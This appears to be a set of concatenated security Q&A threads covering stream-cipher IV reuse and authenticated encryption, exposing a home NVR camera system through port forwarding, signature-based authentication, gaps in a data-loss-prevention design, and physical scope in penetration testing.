Note: This assumes that your IV is only part of the nonces that you encrypt to create a keystream. For instance, a common way to build a keystream is to concatenate a 64-bit counter to a 64-bit IV; in that case, a simple counter for the IV is sufficient. If your implementation takes a 128-bit IV, then it probably computes the keystream as E(k,IV)||E(k,IV+1)||E(k,IV+2)||..., in which case you cannot just increment the IV by one each sequence: that would make message 2's keystream E(k,IV+1)||E(k,IV+2).... If you ever encrypt the same thing with the same key to build two different keystreams, that's bad. With GCM, a typical IV is 96 bits, and you just need to ensure that you don't repeat the 96-bit IVs for any two messages. The point is that if your messages can be up to b bytes long, the first 128-16b bits of your IV should be unique between all messages. 96 bits is common, as is 64 bits.

That said, there's a separate problem -- you have no authentication on your system. That means an attacker who knows what part of a message says can change it to say whatever they want, as long as whatever they want is the same length as the part of the message they know. CTR, like all stream ciphers, is particularly easy to do this with. An AEAD mode like GCM or CCM or EAX is better in almost all cases -- it protects your messages from active attacks. I believe GCM has the same IV requirements as CTR (i.e. used once, but other than that no requirements), and plenty of good implementations are available. (With GCM, IVs are generally 96 bits).


Am I exposing too much via port range forward on home security system Just installed a lorex home security system.  This is an nvr system much like this one:

http://www.amazon.com/Lorex-LNR400-Channel-Security-Cameras/dp/B00QLA2V28/ref=sr_1_3?ie=UTF8&qid=1455913618&sr=8-3&keywords=lorex+nvr

Although not exactly like this one linked above it is quite similar, however a newer model.  The manual asks to open up some port's but am wondering am I exposing too much to the outside world with something like this:

I do know systems like this are vulnerable due to firmware's rarely being upgraded by homeowners but I am pretty much on top of the firmware upgrades as long as lorex provides them.

Has anyone ever installed one of these and are the ports I've opened up pretty typical to access this stuff?

Forgot to mention this is for a personal house of mine not a business.  Recently had some vandalism in our community and a huge drug bust of a family that recently moved near us...Scary stuff..even when you think you are living in a safe place stuff like this happens.

You asked if it was too many ports. That's kind of the wrong question. One port can be too many.

If you want the services that the device provides, and you are willing to accept the risks of outsiders gaining access to the device as a result, then one port or 10, it doesn't matter.

I'd still want to limit your risk by placing this device in a guest network or a separate VLAN, in case the device is taken over to become a pivot point for an attacker.


Is it possible to have a secure authentication protocol which doesn't involve trusted third party and encryption of data? This week in class we were taught about authentication and key exchange protocols.
From what I understood, I could broadly classify them into two different types:
1. Using trusted third party: Where the two parties depend on another third party to authenticate them (e.g. Needham Schroeder protocol, Kerberos etc)
2. Using shared/established keys to encrypt messages and then authenticate: This kind of protocols communicate via an encypted channel using a shared/established key.

Is it possible to securely authenticate via any other way or am I right in assuming that these are the only two classifications possible?

I feel that any other type of protocol would either be vulnerable to Man in the middle or Replay attacks.

EDIT: By encryption I mean keeping the nonce and other challenge responses secret

"Is it possible to have a secure authentication protocol which

doesn't involve trusted third party and encryption of data?"

Yes.

 "Using shared/established" signature key-pairs to skip the "to encrypt messages" part,

where the verifier chooses an unpredictable nonce and the

other party signs the ordered pair    nonce , actual_message  .

(Note:  Some sources inaccurately describe RSA signatures as "encryption".)


Is my Data Loss Prevention approach missing something obvious? I think I'm too close to the problem here and I just looking for a sanity check.

My product blocks files from being stolen by restricting what programs can access what 'type' of the data.  (e.g. Excel can read xls(x), Word can read doc(x), etc.).  Basically a 'Content Based White List'.

It seems that my ‘would be’ competitors (McAfee, TrendMicro, etc...)  are crazy about signature scanning as being the 'Way'.

To me, attempting to detect leakage by 'content' is flawed since it's so easy to encrypt data before putting it on the wire.  That said, it's certainly easier to sell to the non-techie.

So, to all you experts out there, what am I missing?

If I prevent a sensitive file from being renamed, block Save As/Export and block 'Clipboard' operations, what am I missing?  (Yeah, I know about the 'Send to' feature inside of Office and can deal with that)

But I get the feeling that there is something OBVIOUS that I missing.

What is it?

The most likely weakness is in how you identify a file's "type".

A file's extension is ambiguous: ".dat", for example, can be any of thousands of file types.  Many file formats are "PKZip"-style compressed archives containing the real data, so you can't use naive content sniffing (eg. it's hard to distinguish a Java JAR, an Word docX, and a PKZip archive).  Even advanced content sniffing has edge cases that make it hard to get right (you can append a zip file to a JPEG to get a file that is valid in both formats).

Edit: The other thing you're missing is the analog hole.

So a user can't copy and paste credit card information from a Word document to an email, and they can't attach the document to the email.  Nothing is preventing them from re-typing the document in the body of the email.


Physical access: in-scope for penetration testing or not? When pentesting a network, should a pentester consider physical access to devices (e.g. allow use of a USB stick)? Or is this out of scope?

Since Pentesting is a broad term, it covers  a lot of fields, web applications, source code review, network penetration testing...

Physical penetration testing is one branch which can also belong to the pentesters tasks. This can go from checking what type of protection the client uses to secure his data, to actual physical pentesting (trying to break into clients premises and see what confidential info you would be able to steal). I've also done data center reviews (which can be seen more as audit sometimes as it involves checking up by asking question rather than actually testing (you're not going to start an actual fire to see if the fire detection works obviously))